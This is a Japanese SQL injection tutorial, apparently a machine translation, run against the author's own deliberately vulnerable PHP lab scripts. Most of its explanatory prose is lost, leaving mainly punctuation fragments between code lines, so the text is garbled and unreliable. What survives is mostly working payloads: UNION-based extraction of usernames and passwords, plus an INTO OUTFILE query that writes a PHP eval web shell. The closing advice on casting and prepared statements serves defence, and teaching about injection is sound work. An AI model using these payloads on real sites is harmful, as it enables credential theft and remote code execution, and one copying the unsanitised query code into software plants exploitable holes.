読者の皆さん、ご挨拶。 最近、私はWebセキュリティが好きで、ある程度、仕事はこれに関連しています。 なぜなら 私はさまざまなフォーラムのトピックにますます頻繁に気づき始めました。これがすべてどのように機能するかを示すために、私は記事を書くことにしました。 この記事は、これに遭遇したことはないが、学びたい人のために設計されています。 ネットワークにはこのトピックに関する多くの記事がありますが、初心者にとっては少し複雑です。 すべてを明確な言語と詳細な例で説明しようとします。
まえがき
この記事を理解するために、SQL言語の知識は本当に必要ではありませんが、少なくとも十分な忍耐力と少しの頭脳が必要です-覚えておいてください。
記事を読むだけでは不十分だと思う 実例が必要です-ご存知のように、暗記の過程で、それは決して不必要ではありません。 したがって、脆弱なスクリプトを作成し、それらについてトレーニングします。
SQLインジェクションとは何ですか?
— , , . :
, , 100 . SQL , :
100
- ( ), , — . , , « » :
100
, , 100 . SQL :) ( ), .
, . . cfg.php
SQL injection
, , . — ID. . GET/POST Cookie!
index1.php. , ID .
sqlinj/index1.php?id=1'
.. :
$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";
SELECT * FROM news WHERE id=1'
:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16
— :
1.SQL — , (int)
2. .
— ! SQL — .
index2.php. , :
$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'";
, — .
:
sqlinj/index2.php?user=AlexanderPHP'
. ! . — .
- , . , "
--
" SQL.
! . URL %20
, — :
SELECT * FROM news WHERE user='AlexanderPHP' -- habrahabra
. index2.php, :
sqlinj/index2.php?user=AlexanderPHP'%20--%20habrahabr
UNION. SQL UNION SQL- . , - .
«», . index1.php.
sqlinj/index1.php?id=1 UNION SELECT 1
. :
SELECT * FROM news WHERE id=1 UNION SELECT 1
, .. , .
.. , , .
, :
sqlinj/index1.php?id=1 UNION SELECT 1,2
…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
! 5.
GROUP BY
, 20 40 60. , GROUP BY
sqlinj/index1.php?id=1 GROUP BY 2
, - 2. :
sqlinj/index1.php?id=1 GROUP BY 8
, , - 8.
GROUP BY 4 , GROUP BY 6 — , - 5
, , ID, :
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
, , . , , .
, users id, name pass.
ID=1
:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
, , 1 3
sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
— !
« », index2.php . :
sqlinj/index2.php?user=-1' UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20
/
, FILE_PRIV.
. , OUTFILE .
sqlinj/index2.php?user=-1' UNION SELECT 1,2,3,4,5 INTO OUTFILE '1.php' --%20
, . , -:
sqlinj/index2.php?user=-1' UNION SELECT 1,'<?php eval($_GET[1]) ?>',3,4,5 INTO OUTFILE '1.php' --%20
, . LOAD_FILE, , :
sqlinj/index2.php?user=-1' UNION SELECT 1,LOAD_FILE('1.php'),3,4,5 --%20
, .
, . . ,
$id = (int) $_GET['id'];
malroc. PDO prepared statements.
«SQL injection ». . .
, .